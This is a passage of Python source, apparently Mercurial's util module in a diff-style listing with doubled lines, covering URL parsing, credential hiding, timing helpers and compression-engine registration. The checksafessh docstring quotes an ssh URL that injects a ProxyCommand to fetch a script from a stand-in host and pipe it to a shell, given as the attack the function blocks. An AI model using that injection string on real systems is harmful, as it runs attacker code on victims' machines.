2679 else:
2681 self.host = parts[0]
2680 self.host = parts[0]
2682 path = None
2681 path = None
2683 if not self.host:
2682 if not self.host:
2684 self.host = None
2683 self.host = None
2685 # path of file:///d is /d
2684 # path of file:///d is /d
2686 # path of file:///d:/ is d:/, not /d:/
2685 # path of file:///d:/ is d:/, not /d:/
2687 if path and not hasdriveletter(path):
2686 if path and not hasdriveletter(path):
2688 path = '/' + path
2687 path = '/' + path
2689
2688
2690 if self.host and '@' in self.host:
2689 if self.host and '@' in self.host:
2691 self.user, self.host = self.host.rsplit('@', 1)
2690 self.user, self.host = self.host.rsplit('@', 1)
2692 if ':' in self.user:
2691 if ':' in self.user:
2693 self.user, self.passwd = self.user.split(':', 1)
2692 self.user, self.passwd = self.user.split(':', 1)
2694 if not self.host:
2693 if not self.host:
2695 self.host = None
2694 self.host = None
2696
2695
2697 # Don't split on colons in IPv6 addresses without ports
2696 # Don't split on colons in IPv6 addresses without ports
2698 if (self.host and ':' in self.host and
2697 if (self.host and ':' in self.host and
2699 not (self.host.startswith('[') and self.host.endswith(']'))):
2698 not (self.host.startswith('[') and self.host.endswith(']'))):
2700 self._hostport = self.host
2699 self._hostport = self.host
2701 self.host, self.port = self.host.rsplit(':', 1)
2700 self.host, self.port = self.host.rsplit(':', 1)
2702 if not self.host:
2701 if not self.host:
2703 self.host = None
2702 self.host = None
2704
2703
2705 if (self.host and self.scheme == 'file' and
2704 if (self.host and self.scheme == 'file' and
2706 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2705 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2707 raise error.Abort(_('file:// URLs can only refer to localhost'))
2706 raise error.Abort(_('file:// URLs can only refer to localhost'))
2708
2707
2709 self.path = path
2708 self.path = path
2710
2709
2711 # leave the query string escaped
2710 # leave the query string escaped
2712 for a in ('user', 'passwd', 'host', 'port',
2711 for a in ('user', 'passwd', 'host', 'port',
2713 'path', 'fragment'):
2712 'path', 'fragment'):
2714 v = getattr(self, a)
2713 v = getattr(self, a)
2715 if v is not None:
2714 if v is not None:
2716 setattr(self, a, urlreq.unquote(v))
2715 setattr(self, a, urlreq.unquote(v))
2717
2716
2718 @encoding.strmethod
2717 @encoding.strmethod
2719 def __repr__(self):
2718 def __repr__(self):
2720 attrs = []
2719 attrs = []
2721 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2720 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2722 'query', 'fragment'):
2721 'query', 'fragment'):
2723 v = getattr(self, a)
2722 v = getattr(self, a)
2724 if v is not None:
2723 if v is not None:
2725 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
2724 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
2726 return '<url %s>' % ', '.join(attrs)
2725 return '<url %s>' % ', '.join(attrs)
2727
2726
2728 def __bytes__(self):
2727 def __bytes__(self):
2729 r"""Join the URL's components back into a URL string.
2728 r"""Join the URL's components back into a URL string.
2730
2729
2731 Examples:
2730 Examples:
2732
2731
2733 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2732 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2734 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2733 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2735 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2734 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2736 'http://user:pw@host:80/?foo=bar&baz=42'
2735 'http://user:pw@host:80/?foo=bar&baz=42'
2737 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2736 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2738 'http://user:pw@host:80/?foo=bar%3dbaz'
2737 'http://user:pw@host:80/?foo=bar%3dbaz'
2739 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2738 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2740 'ssh://user:pw@[::1]:2200//home/joe#'
2739 'ssh://user:pw@[::1]:2200//home/joe#'
2741 >>> bytes(url(b'http://localhost:80//'))
2740 >>> bytes(url(b'http://localhost:80//'))
2742 'http://localhost:80//'
2741 'http://localhost:80//'
2743 >>> bytes(url(b'http://localhost:80/'))
2742 >>> bytes(url(b'http://localhost:80/'))
2744 'http://localhost:80/'
2743 'http://localhost:80/'
2745 >>> bytes(url(b'http://localhost:80'))
2744 >>> bytes(url(b'http://localhost:80'))
2746 'http://localhost:80/'
2745 'http://localhost:80/'
2747 >>> bytes(url(b'bundle:foo'))
2746 >>> bytes(url(b'bundle:foo'))
2748 'bundle:foo'
2747 'bundle:foo'
2749 >>> bytes(url(b'bundle://../foo'))
2748 >>> bytes(url(b'bundle://../foo'))
2750 'bundle:../foo'
2749 'bundle:../foo'
2751 >>> bytes(url(b'path'))
2750 >>> bytes(url(b'path'))
2752 'path'
2751 'path'
2753 >>> bytes(url(b'file:///tmp/foo/bar'))
2752 >>> bytes(url(b'file:///tmp/foo/bar'))
2754 'file:///tmp/foo/bar'
2753 'file:///tmp/foo/bar'
2755 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2754 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2756 'file:///c:/tmp/foo/bar'
2755 'file:///c:/tmp/foo/bar'
2757 >>> print(url(br'bundle:foo\bar'))
2756 >>> print(url(br'bundle:foo\bar'))
2758 bundle:foo\bar
2757 bundle:foo\bar
2759 >>> print(url(br'file:///D:\data\hg'))
2758 >>> print(url(br'file:///D:\data\hg'))
2760 file:///D:\data\hg
2759 file:///D:\data\hg
2761 """
2760 """
2762 if self._localpath:
2761 if self._localpath:
2763 s = self.path
2762 s = self.path
2764 if self.scheme == 'bundle':
2763 if self.scheme == 'bundle':
2765 s = 'bundle:' + s
2764 s = 'bundle:' + s
2766 if self.fragment:
2765 if self.fragment:
2767 s += '#' + self.fragment
2766 s += '#' + self.fragment
2768 return s
2767 return s
2769
2768
2770 s = self.scheme + ':'
2769 s = self.scheme + ':'
2771 if self.user or self.passwd or self.host:
2770 if self.user or self.passwd or self.host:
2772 s += '//'
2771 s += '//'
2773 elif self.scheme and (not self.path or self.path.startswith('/')
2772 elif self.scheme and (not self.path or self.path.startswith('/')
2774 or hasdriveletter(self.path)):
2773 or hasdriveletter(self.path)):
2775 s += '//'
2774 s += '//'
2776 if hasdriveletter(self.path):
2775 if hasdriveletter(self.path):
2777 s += '/'
2776 s += '/'
2778 if self.user:
2777 if self.user:
2779 s += urlreq.quote(self.user, safe=self._safechars)
2778 s += urlreq.quote(self.user, safe=self._safechars)
2780 if self.passwd:
2779 if self.passwd:
2781 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2780 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2782 if self.user or self.passwd:
2781 if self.user or self.passwd:
2783 s += '@'
2782 s += '@'
2784 if self.host:
2783 if self.host:
2785 if not (self.host.startswith('[') and self.host.endswith(']')):
2784 if not (self.host.startswith('[') and self.host.endswith(']')):
2786 s += urlreq.quote(self.host)
2785 s += urlreq.quote(self.host)
2787 else:
2786 else:
2788 s += self.host
2787 s += self.host
2789 if self.port:
2788 if self.port:
2790 s += ':' + urlreq.quote(self.port)
2789 s += ':' + urlreq.quote(self.port)
2791 if self.host:
2790 if self.host:
2792 s += '/'
2791 s += '/'
2793 if self.path:
2792 if self.path:
2794 # TODO: similar to the query string, we should not unescape the
2793 # TODO: similar to the query string, we should not unescape the
2795 # path when we store it, the path might contain '%2f' = '/',
2794 # path when we store it, the path might contain '%2f' = '/',
2796 # which we should *not* escape.
2795 # which we should *not* escape.
2797 s += urlreq.quote(self.path, safe=self._safepchars)
2796 s += urlreq.quote(self.path, safe=self._safepchars)
2798 if self.query:
2797 if self.query:
2799 # we store the query in escaped form.
2798 # we store the query in escaped form.
2800 s += '?' + self.query
2799 s += '?' + self.query
2801 if self.fragment is not None:
2800 if self.fragment is not None:
2802 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2801 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2803 return s
2802 return s
2804
2803
2805 __str__ = encoding.strmethod(__bytes__)
2804 __str__ = encoding.strmethod(__bytes__)
2806
2805
2807 def authinfo(self):
2806 def authinfo(self):
2808 user, passwd = self.user, self.passwd
2807 user, passwd = self.user, self.passwd
2809 try:
2808 try:
2810 self.user, self.passwd = None, None
2809 self.user, self.passwd = None, None
2811 s = bytes(self)
2810 s = bytes(self)
2812 finally:
2811 finally:
2813 self.user, self.passwd = user, passwd
2812 self.user, self.passwd = user, passwd
2814 if not self.user:
2813 if not self.user:
2815 return (s, None)
2814 return (s, None)
2816 # authinfo[1] is passed to urllib2 password manager, and its
2815 # authinfo[1] is passed to urllib2 password manager, and its
2817 # URIs must not contain credentials. The host is passed in the
2816 # URIs must not contain credentials. The host is passed in the
2818 # URIs list because Python < 2.4.3 uses only that to search for
2817 # URIs list because Python < 2.4.3 uses only that to search for
2819 # a password.
2818 # a password.
2820 return (s, (None, (s, self.host),
2819 return (s, (None, (s, self.host),
2821 self.user, self.passwd or ''))
2820 self.user, self.passwd or ''))
2822
2821
2823 def isabs(self):
2822 def isabs(self):
2824 if self.scheme and self.scheme != 'file':
2823 if self.scheme and self.scheme != 'file':
2825 return True # remote URL
2824 return True # remote URL
2826 if hasdriveletter(self.path):
2825 if hasdriveletter(self.path):
2827 return True # absolute for our purposes - can't be joined()
2826 return True # absolute for our purposes - can't be joined()
2828 if self.path.startswith(br'\\'):
2827 if self.path.startswith(br'\\'):
2829 return True # Windows UNC path
2828 return True # Windows UNC path
2830 if self.path.startswith('/'):
2829 if self.path.startswith('/'):
2831 return True # POSIX-style
2830 return True # POSIX-style
2832 return False
2831 return False
2833
2832
2834 def localpath(self):
2833 def localpath(self):
2835 if self.scheme == 'file' or self.scheme == 'bundle':
2834 if self.scheme == 'file' or self.scheme == 'bundle':
2836 path = self.path or '/'
2835 path = self.path or '/'
2837 # For Windows, we need to promote hosts containing drive
2836 # For Windows, we need to promote hosts containing drive
2838 # letters to paths with drive letters.
2837 # letters to paths with drive letters.
2839 if hasdriveletter(self._hostport):
2838 if hasdriveletter(self._hostport):
2840 path = self._hostport + '/' + self.path
2839 path = self._hostport + '/' + self.path
2841 elif (self.host is not None and self.path
2840 elif (self.host is not None and self.path
2842 and not hasdriveletter(path)):
2841 and not hasdriveletter(path)):
2843 path = '/' + path
2842 path = '/' + path
2844 return path
2843 return path
2845 return self._origpath
2844 return self._origpath
2846
2845
2847 def islocal(self):
2846 def islocal(self):
2848 '''whether localpath will return something that posixfile can open'''
2847 '''whether localpath will return something that posixfile can open'''
2849 return (not self.scheme or self.scheme == 'file'
2848 return (not self.scheme or self.scheme == 'file'
2850 or self.scheme == 'bundle')
2849 or self.scheme == 'bundle')
2851
2850
2852 def hasscheme(path):
2851 def hasscheme(path):
2853 return bool(url(path).scheme)
2852 return bool(url(path).scheme)
2854
2853
2855 def hasdriveletter(path):
2854 def hasdriveletter(path):
2856 return path and path[1:2] == ':' and path[0:1].isalpha()
2855 return path and path[1:2] == ':' and path[0:1].isalpha()
2857
2856
2858 def urllocalpath(path):
2857 def urllocalpath(path):
2859 return url(path, parsequery=False, parsefragment=False).localpath()
2858 return url(path, parsequery=False, parsefragment=False).localpath()
2860
2859
2861 def checksafessh(path):
2860 def checksafessh(path):
2862 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2861 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2863
2862
2864 This is a sanity check for ssh urls. ssh will parse the first item as
2863 This is a sanity check for ssh urls. ssh will parse the first item as
2865 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2864 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2866 Let's prevent these potentially exploited urls entirely and warn the
2865 Let's prevent these potentially exploited urls entirely and warn the
2867 user.
2866 user.
2868
2867
2869 Raises an error.Abort when the url is unsafe.
2868 Raises an error.Abort when the url is unsafe.
2870 """
2869 """
2871 path = urlreq.unquote(path)
2870 path = urlreq.unquote(path)
2872 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2871 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2873 raise error.Abort(_('potentially unsafe url: %r') %
2872 raise error.Abort(_('potentially unsafe url: %r') %
2874 (pycompat.bytestr(path),))
2873 (pycompat.bytestr(path),))
2875
2874
2876 def hidepassword(u):
2875 def hidepassword(u):
2877 '''hide user credential in a url string'''
2876 '''hide user credential in a url string'''
2878 u = url(u)
2877 u = url(u)
2879 if u.passwd:
2878 if u.passwd:
2880 u.passwd = '***'
2879 u.passwd = '***'
2881 return bytes(u)
2880 return bytes(u)
2882
2881
2883 def removeauth(u):
2882 def removeauth(u):
2884 '''remove all authentication information from a url string'''
2883 '''remove all authentication information from a url string'''
2885 u = url(u)
2884 u = url(u)
2886 u.user = u.passwd = None
2885 u.user = u.passwd = None
2887 return bytes(u)
2886 return bytes(u)
2888
2887
2889 timecount = unitcountfn(
2888 timecount = unitcountfn(
2890 (1, 1e3, _('%.0f s')),
2889 (1, 1e3, _('%.0f s')),
2891 (100, 1, _('%.1f s')),
2890 (100, 1, _('%.1f s')),
2892 (10, 1, _('%.2f s')),
2891 (10, 1, _('%.2f s')),
2893 (1, 1, _('%.3f s')),
2892 (1, 1, _('%.3f s')),
2894 (100, 0.001, _('%.1f ms')),
2893 (100, 0.001, _('%.1f ms')),
2895 (10, 0.001, _('%.2f ms')),
2894 (10, 0.001, _('%.2f ms')),
2896 (1, 0.001, _('%.3f ms')),
2895 (1, 0.001, _('%.3f ms')),
2897 (100, 0.000001, _('%.1f us')),
2896 (100, 0.000001, _('%.1f us')),
2898 (10, 0.000001, _('%.2f us')),
2897 (10, 0.000001, _('%.2f us')),
2899 (1, 0.000001, _('%.3f us')),
2898 (1, 0.000001, _('%.3f us')),
2900 (100, 0.000000001, _('%.1f ns')),
2899 (100, 0.000000001, _('%.1f ns')),
2901 (10, 0.000000001, _('%.2f ns')),
2900 (10, 0.000000001, _('%.2f ns')),
2902 (1, 0.000000001, _('%.3f ns')),
2901 (1, 0.000000001, _('%.3f ns')),
2903 )
2902 )
2904
2903
2905 _timenesting = [0]
2904 _timenesting = [0]
2906
2905
2907 def timed(func):
2906 def timed(func):
2908 '''Report the execution time of a function call to stderr.
2907 '''Report the execution time of a function call to stderr.
2909
2908
2910 During development, use as a decorator when you need to measure
2909 During development, use as a decorator when you need to measure
2911 the cost of a function, e.g. as follows:
2910 the cost of a function, e.g. as follows:
2912
2911
2913 @util.timed
2912 @util.timed
2914 def foo(a, b, c):
2913 def foo(a, b, c):
2915 pass
2914 pass
2916 '''
2915 '''
2917
2916
2918 def wrapper(*args, **kwargs):
2917 def wrapper(*args, **kwargs):
2919 start = timer()
2918 start = timer()
2920 indent = 2
2919 indent = 2
2921 _timenesting[0] += indent
2920 _timenesting[0] += indent
2922 try:
2921 try:
2923 return func(*args, **kwargs)
2922 return func(*args, **kwargs)
2924 finally:
2923 finally:
2925 elapsed = timer() - start
2924 elapsed = timer() - start
2926 _timenesting[0] -= indent
2925 _timenesting[0] -= indent
2927 stderr = procutil.stderr
2926 stderr = procutil.stderr
2928 stderr.write('%s%s: %s\n' %
2927 stderr.write('%s%s: %s\n' %
2929 (' ' * _timenesting[0], func.__name__,
2928 (' ' * _timenesting[0], func.__name__,
2930 timecount(elapsed)))
2929 timecount(elapsed)))
2931 return wrapper
2930 return wrapper
2932
2931
2933 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2932 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2934 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2933 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2935
2934
2936 def sizetoint(s):
2935 def sizetoint(s):
2937 '''Convert a space specifier to a byte count.
2936 '''Convert a space specifier to a byte count.
2938
2937
2939 >>> sizetoint(b'30')
2938 >>> sizetoint(b'30')
2940 30
2939 30
2941 >>> sizetoint(b'2.2kb')
2940 >>> sizetoint(b'2.2kb')
2942 2252
2941 2252
2943 >>> sizetoint(b'6M')
2942 >>> sizetoint(b'6M')
2944 6291456
2943 6291456
2945 '''
2944 '''
2946 t = s.strip().lower()
2945 t = s.strip().lower()
2947 try:
2946 try:
2948 for k, u in _sizeunits:
2947 for k, u in _sizeunits:
2949 if t.endswith(k):
2948 if t.endswith(k):
2950 return int(float(t[:-len(k)]) * u)
2949 return int(float(t[:-len(k)]) * u)
2951 return int(t)
2950 return int(t)
2952 except ValueError:
2951 except ValueError:
2953 raise error.ParseError(_("couldn't parse size: %s") % s)
2952 raise error.ParseError(_("couldn't parse size: %s") % s)
2954
2953
2955 class hooks(object):
2954 class hooks(object):
2956 '''A collection of hook functions that can be used to extend a
2955 '''A collection of hook functions that can be used to extend a
2957 function's behavior. Hooks are called in lexicographic order,
2956 function's behavior. Hooks are called in lexicographic order,
2958 based on the names of their sources.'''
2957 based on the names of their sources.'''
2959
2958
2960 def __init__(self):
2959 def __init__(self):
2961 self._hooks = []
2960 self._hooks = []
2962
2961
2963 def add(self, source, hook):
2962 def add(self, source, hook):
2964 self._hooks.append((source, hook))
2963 self._hooks.append((source, hook))
2965
2964
2966 def __call__(self, *args):
2965 def __call__(self, *args):
2967 self._hooks.sort(key=lambda x: x[0])
2966 self._hooks.sort(key=lambda x: x[0])
2968 results = []
2967 results = []
2969 for source, hook in self._hooks:
2968 for source, hook in self._hooks:
2970 results.append(hook(*args))
2969 results.append(hook(*args))
2971 return results
2970 return results
2972
2971
2973 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
2972 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
2974 '''Yields lines for a nicely formatted stacktrace.
2973 '''Yields lines for a nicely formatted stacktrace.
2975 Skips the 'skip' last entries, then return the last 'depth' entries.
2974 Skips the 'skip' last entries, then return the last 'depth' entries.
2976 Each file+linenumber is formatted according to fileline.
2975 Each file+linenumber is formatted according to fileline.
2977 Each line is formatted according to line.
2976 Each line is formatted according to line.
2978 If line is None, it yields:
2977 If line is None, it yields:
2979 length of longest filepath+line number,
2978 length of longest filepath+line number,
2980 filepath+linenumber,
2979 filepath+linenumber,
2981 function
2980 function
2982
2981
2983 Not be used in production code but very convenient while developing.
2982 Not be used in production code but very convenient while developing.
2984 '''
2983 '''
2985 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
2984 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
2986 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
2985 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
2987 ][-depth:]
2986 ][-depth:]
2988 if entries:
2987 if entries:
2989 fnmax = max(len(entry[0]) for entry in entries)
2988 fnmax = max(len(entry[0]) for entry in entries)
2990 for fnln, func in entries:
2989 for fnln, func in entries:
2991 if line is None:
2990 if line is None:
2992 yield (fnmax, fnln, func)
2991 yield (fnmax, fnln, func)
2993 else:
2992 else:
2994 yield line % (fnmax, fnln, func)
2993 yield line % (fnmax, fnln, func)
2995
2994
2996 def debugstacktrace(msg='stacktrace', skip=0,
2995 def debugstacktrace(msg='stacktrace', skip=0,
2997 f=procutil.stderr, otherf=procutil.stdout, depth=0):
2996 f=procutil.stderr, otherf=procutil.stdout, depth=0):
2998 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
2997 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
2999 Skips the 'skip' entries closest to the call, then show 'depth' entries.
2998 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3000 By default it will flush stdout first.
2999 By default it will flush stdout first.
3001 It can be used everywhere and intentionally does not require an ui object.
3000 It can be used everywhere and intentionally does not require an ui object.
3002 Not be used in production code but very convenient while developing.
3001 Not be used in production code but very convenient while developing.
3003 '''
3002 '''
3004 if otherf:
3003 if otherf:
3005 otherf.flush()
3004 otherf.flush()
3006 f.write('%s at:\n' % msg.rstrip())
3005 f.write('%s at:\n' % msg.rstrip())
3007 for line in getstackframes(skip + 1, depth=depth):
3006 for line in getstackframes(skip + 1, depth=depth):
3008 f.write(line)
3007 f.write(line)
3009 f.flush()
3008 f.flush()
3010
3009
3011 class dirs(object):
3010 class dirs(object):
3012 '''a multiset of directory names from a dirstate or manifest'''
3011 '''a multiset of directory names from a dirstate or manifest'''
3013
3012
3014 def __init__(self, map, skip=None):
3013 def __init__(self, map, skip=None):
3015 self._dirs = {}
3014 self._dirs = {}
3016 addpath = self.addpath
3015 addpath = self.addpath
3017 if safehasattr(map, 'iteritems') and skip is not None:
3016 if safehasattr(map, 'iteritems') and skip is not None:
3018 for f, s in map.iteritems():
3017 for f, s in map.iteritems():
3019 if s[0] != skip:
3018 if s[0] != skip:
3020 addpath(f)
3019 addpath(f)
3021 else:
3020 else:
3022 for f in map:
3021 for f in map:
3023 addpath(f)
3022 addpath(f)
3024
3023
3025 def addpath(self, path):
3024 def addpath(self, path):
3026 dirs = self._dirs
3025 dirs = self._dirs
3027 for base in finddirs(path):
3026 for base in finddirs(path):
3028 if base in dirs:
3027 if base in dirs:
3029 dirs[base] += 1
3028 dirs[base] += 1
3030 return
3029 return
3031 dirs[base] = 1
3030 dirs[base] = 1
3032
3031
3033 def delpath(self, path):
3032 def delpath(self, path):
3034 dirs = self._dirs
3033 dirs = self._dirs
3035 for base in finddirs(path):
3034 for base in finddirs(path):
3036 if dirs[base] > 1:
3035 if dirs[base] > 1:
3037 dirs[base] -= 1
3036 dirs[base] -= 1
3038 return
3037 return
3039 del dirs[base]
3038 del dirs[base]
3040
3039
3041 def __iter__(self):
3040 def __iter__(self):
3042 return iter(self._dirs)
3041 return iter(self._dirs)
3043
3042
3044 def __contains__(self, d):
3043 def __contains__(self, d):
3045 return d in self._dirs
3044 return d in self._dirs
3046
3045
3047 if safehasattr(parsers, 'dirs'):
3046 if safehasattr(parsers, 'dirs'):
3048 dirs = parsers.dirs
3047 dirs = parsers.dirs
3049
3048
3050 def finddirs(path):
3049 def finddirs(path):
3051 pos = path.rfind('/')
3050 pos = path.rfind('/')
3052 while pos != -1:
3051 while pos != -1:
3053 yield path[:pos]
3052 yield path[:pos]
3054 pos = path.rfind('/', 0, pos)
3053 pos = path.rfind('/', 0, pos)
3055
3054
3056 # compression code
3055 # compression code
3057
3056
3058 SERVERROLE = 'server'
3057 SERVERROLE = 'server'
3059 CLIENTROLE = 'client'
3058 CLIENTROLE = 'client'
3060
3059
3061 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3060 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3062 (u'name', u'serverpriority',
3061 (u'name', u'serverpriority',
3063 u'clientpriority'))
3062 u'clientpriority'))
3064
3063
3065 class compressormanager(object):
3064 class compressormanager(object):
3066 """Holds registrations of various compression engines.
3065 """Holds registrations of various compression engines.
3067
3066
3068 This class essentially abstracts the differences between compression
3067 This class essentially abstracts the differences between compression
3069 engines to allow new compression formats to be added easily, possibly from
3068 engines to allow new compression formats to be added easily, possibly from
3070 extensions.
3069 extensions.
3071
3070
3072 Compressors are registered against the global instance by calling its
3071 Compressors are registered against the global instance by calling its
3073 ``register()`` method.
3072 ``register()`` method.
3074 """
3073 """
3075 def __init__(self):
3074 def __init__(self):
3076 self._engines = {}
3075 self._engines = {}
3077 # Bundle spec human name to engine name.
3076 # Bundle spec human name to engine name.
3078 self._bundlenames = {}
3077 self._bundlenames = {}
3079 # Internal bundle identifier to engine name.
3078 # Internal bundle identifier to engine name.
3080 self._bundletypes = {}
3079 self._bundletypes = {}
3081 # Revlog header to engine name.
3080 # Revlog header to engine name.
3082 self._revlogheaders = {}
3081 self._revlogheaders = {}
3083 # Wire proto identifier to engine name.
3082 # Wire proto identifier to engine name.
3084 self._wiretypes = {}
3083 self._wiretypes = {}
3085
3084
3086 def __getitem__(self, key):
3085 def __getitem__(self, key):
3087 return self._engines[key]
3086 return self._engines[key]
3088
3087
3089 def __contains__(self, key):
3088 def __contains__(self, key):
3090 return key in self._engines
3089 return key in self._engines
3091
3090
3092 def __iter__(self):
3091 def __iter__(self):
3093 return iter(self._engines.keys())
3092 return iter(self._engines.keys())
3094
3093
3095 def register(self, engine):
3094 def register(self, engine):
3096 """Register a compression engine with the manager.
3095 """Register a compression engine with the manager.
3097
3096
3098 The argument must be a ``compressionengine`` instance.
3097 The argument must be a ``compressionengine`` instance.
3099 """
3098 """
3100 if not isinstance(engine, compressionengine):
3099 if not isinstance(engine, compressionengine):
3101 raise ValueError(_('argument must be a compressionengine'))
3100 raise ValueError(_('argument must be a compressionengine'))
3102
3101
3103 name = engine.name()
3102 name = engine.name()
3104
3103
3105 if name in self._engines:
3104 if name in self._engines:
3106 raise error.Abort(_('compression engine %s already registered') %
3105 raise error.Abort(_('compression engine %s already registered') %
3107 name)
3106 name)
3108
3107
3109 bundleinfo = engine.bundletype()
3108 bundleinfo = engine.bundletype()
3110 if bundleinfo:
3109 if bundleinfo:
3111 bundlename, bundletype = bundleinfo
3110 bundlename, bundletype = bundleinfo
3112
3111
3113 if bundlename in self._bundlenames:
3112 if bundlename in self._bundlenames:
3114 raise error.Abort(_('bundle name %s already registered') %
3113 raise error.Abort(_('bundle name %s already registered') %
3115 bundlename)
3114 bundlename)
3116 if bundletype in self._bundletypes:
3115 if bundletype in self._bundletypes:
3117 raise error.Abort(_('bundle type %s already registered by %s') %
3116 raise error.Abort(_('bundle type %s already registered by %s') %
3118 (bundletype, self._bundletypes[bundletype]))
3117 (bundletype, self._bundletypes[bundletype]))
3119
3118
3120 # No external facing name declared.
3119 # No external facing name declared.
3121 if bundlename:
3120 if bundlename:
3122 self._bundlenames[bundlename] = name
3121 self._bundlenames[bundlename] = name
3123
3122
3124 self._bundletypes[bundletype] = name
3123 self._bundletypes[bundletype] = name
3125
3124
3126 wiresupport = engine.wireprotosupport()
3125 wiresupport = engine.wireprotosupport()
3127 if wiresupport:
3126 if wiresupport:
3128 wiretype = wiresupport.name
3127 wiretype = wiresupport.name
3129 if wiretype in self._wiretypes:
3128 if wiretype in self._wiretypes:
3130 raise error.Abort(_('wire protocol compression %s already '
3129 raise error.Abort(_('wire protocol compression %s already '
3131 'registered by %s') %
3130 'registered by %s') %
3132 (wiretype, self._wiretypes[wiretype]))
3131 (wiretype, self._wiretypes[wiretype]))
3133
3132
3134 self._wiretypes[wiretype] = name
3133 self._wiretypes[wiretype] = name
3135
3134
3136 revlogheader = engine.revlogheader()
3135 revlogheader = engine.revlogheader()
3137 if revlogheader and revlogheader in self._revlogheaders:
3136 if revlogheader and revlogheader in self._revlogheaders:
3138 raise error.Abort(_('revlog header %s already registered by %s') %
3137 raise error.Abort(_('revlog header %s already registered by %s') %
3139 (revlogheader, self._revlogheaders[revlogheader]))
3138 (revlogheader, self._revlogheaders[revlogheader]))
3140
3139
3141 if revlogheader:
3140 if revlogheader:
3142 self._revlogheaders[revlogheader] = name
3141 self._revlogheaders[revlogheader] = name
3143
3142
3144 self._engines[name] = engine
3143 self._engines[name] = engine
3145
3144
3146 @property
3145 @property
3147 def supportedbundlenames(self):
3146 def supportedbundlenames(self):
3148 return set(self._bundlenames.keys())
3147 return set(self._bundlenames.keys())
3149
3148
3150 @property
3149 @property
3151 def supportedbundletypes(self):
3150 def supportedbundletypes(self):
3152 return set(self._bundletypes.keys())
3151 return set(self._bundletypes.keys())
3153
3152
3154 def forbundlename(self, bundlename):
3153 def forbundlename(self, bundlename):
3155 """Obtain a compression engine registered to a bundle name.
3154 """Obtain a compression engine registered to a bundle name.
3156
3155
3157 Will raise KeyError if the bundle type isn't registered.
3156 Will raise KeyError if the bundle type isn't registered.
3158
3157
3159 Will abort if the engine is known but not available.
3158 Will abort if the engine is known but not available.
3160 """
3159 """
3161 engine = self._engines[self._bundlenames[bundlename]]
3160 engine = self._engines[self._bundlenames[bundlename]]
3162 if not engine.available():
3161 if not engine.available():
3163 raise error.Abort(_('compression engine %s could not be loaded') %
3162 raise error.Abort(_('compression engine %s could not be loaded') %
3164 engine.name())
3163 engine.name())
3165 return engine
3164 return engine
3166
3165
3167 def forbundletype(self, bundletype):
3166 def forbundletype(self, bundletype):
3168 """Obtain a compression engine registered to a bundle type.
3167 """Obtain a compression engine registered to a bundle type.
3169
3168
3170 Will raise KeyError if the bundle type isn't registered.
3169 Will raise KeyError if the bundle type isn't registered.
3171
3170
3172 Will abort if the engine is known but not available.
3171 Will abort if the engine is known but not available.
3173 """
3172 """
3174 engine = self._engines[self._bundletypes[bundletype]]
3173 engine = self._engines[self._bundletypes[bundletype]]
3175 if not engine.available():
3174 if not engine.available():
3176 raise error.Abort(_('compression engine %s could not be loaded') %
3175 raise error.Abort(_('compression engine %s could not be loaded') %
3177 engine.name())
3176 engine.name())
3178 return engine
3177 return engine
3179
3178
3180 def supportedwireengines(self, role, onlyavailable=True):
3179 def supportedwireengines(self, role, onlyavailable=True):
3181 """Obtain compression engines that support the wire protocol.
3180 """Obtain compression engines that support the wire protocol.
3182
3181
3183 Returns a list of engines in prioritized order, most desired first.
3182 Returns a list of engines in prioritized order, most desired first.
3184
3183
3185 If ``onlyavailable`` is set, filter out engines that can't be
3184 If ``onlyavailable`` is set, filter out engines that can't be
3186 loaded.
3185 loaded.
3187 """
3186 """
3188 assert role in (SERVERROLE, CLIENTROLE)
3187 assert role in (SERVERROLE, CLIENTROLE)
3189
3188
3190 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3189 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3191
3190
